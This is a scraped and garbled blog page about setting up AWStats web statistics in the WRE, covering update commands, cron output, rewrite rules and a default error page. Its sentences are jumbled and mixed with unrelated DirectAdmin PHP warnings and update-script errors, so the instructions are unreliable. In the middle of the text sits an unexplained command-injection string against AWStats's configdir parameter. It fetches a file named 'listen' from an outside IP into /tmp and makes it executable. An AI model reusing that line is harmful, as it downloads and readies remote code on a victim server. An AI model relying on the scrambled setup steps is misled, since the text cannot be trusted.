![]() Warning: fopen(/home/clarissa/domains//public_html/awstats/.htpasswd): failed to open stream: Permission denied in /usr/local/directadmin/plugins/awstats/user/index.html on line 140 Warning: fwrite(): supplied argument is not a valid stream resource in /usr/local/directadmin/plugins/awstats/user/index.html on line 141 Warning: fclose(): supplied argument is not a valid stream resource in /usr/local/directadmin/plugins/awstats/user/index.html on line 142 Warning: chown(): Operation not permitted in /usr/local/directadmin/plugins/awstats/user/index. ![]() Now (re-)creating your configuration file. htaccess already exists let's delete it.Deleted!ĭoing an extra permission setting through shell.+(Re-)Setting permissionsĭoing an extra permission setting through shell.Done usr/local/directadmin/plugins/awstats/update/update.sh: line 20: cd: /usr/local/directadmin/plugins/awstats/update/awstats-: No such file or directoryĬopying awstas /usr/local/directadmin/plugins/awstats/update/awstats-/No such file or directoryĬp: cannot stat `/usr/local/directadmin/plugins/awstats/update/awstats-/ bin/tar: Error exit delayed from previous errorsĪwstats extracted in /usr/local/directadmin/plugins/awstats/update/awstats. => `/usr/local/directadmin/plugins/awstats/update/awstats.tgz' See the AWStats FAQ-COM142.Update]# /usr/local/directadmin/plugins/awstats/update/update.sh Leave out all the HEAD content, and just put a few characters in this file, so you can recognize it by filesize when fetched - I use just the text 'No. Place a custom 403 error page in that subdirectory. With a little plug-in magic, AWStats is able to track screen resolution of visitors along with other browser capabilities. A work-around (stay with me here) is to do the following: Create a new subdirectory below web root. RewriteRule ^/$ /?config= Tracking screen resolution I add these into the stats.modproxy file for easy management. It's possible to add support for client subdomains using additional virtualhost settings, such as. This rule would redirect to the your AWStats server. To create a link from the client's domain to the stats file, add a Redirect to the client modproxy conf file such as the following: RewriteRule ^/(.*) /?config=$1 Create a link from client domain Use the following rules to simplify access to your stats server to be : ![]() You'll also need to add an index.html file to your /data/wre/prereqs/wwwroot folder. Add the following rewrite rules to the configuration to output a message that doesn't reveal potential server configuration details. The default configuration file results in a verbose error message if a visitor goes to the domain by itself. The above steps will create a /data/wre/etc/stats.modproxy file. To disable only STDOUT while getting notifications of errors add the following: > /dev/null Customizing your AWStats configuration file Setting up a default page To disable all output (STDERR and STDOUT) add the following to your awstats_updateall and logrotate cron jobs: > /dev/null 2>&1 To update the stats for all sites: /data/wre/prereqs/tools/awstats_ now -awstatsprog=/data/wre/prereqs/wwwroot/ -configdir=/data/wre/etc 12, /cgi-bin/configdirecho echo YYY cd /tmp wget 24.224.174.18/listen chmod +x listen. You can change this setting in the awstats conf file (LogFile). Note that by default, the stats run against access.log.0 which is the logfile from the previous day. To update the stats for a specific site, use the following: /data/wre/prereqs/wwwroot/ -config=YOURSITE -update Your stats will be available at Updating the stats for a site Find the "Web Statistics" section, enable statistics and configure for your server's domain name.Select Settings tab from WRE Console app.AWStats is "a free powerful and featureful tool that generates advanced web, streaming, ftp or mail server statistics, graphically." It is included as part of the WRE but is not enabled by default.
0 Comments
Leave a Reply. |
AuthorWrite something about yourself. No need to be fancy, just an overview. ArchivesCategories |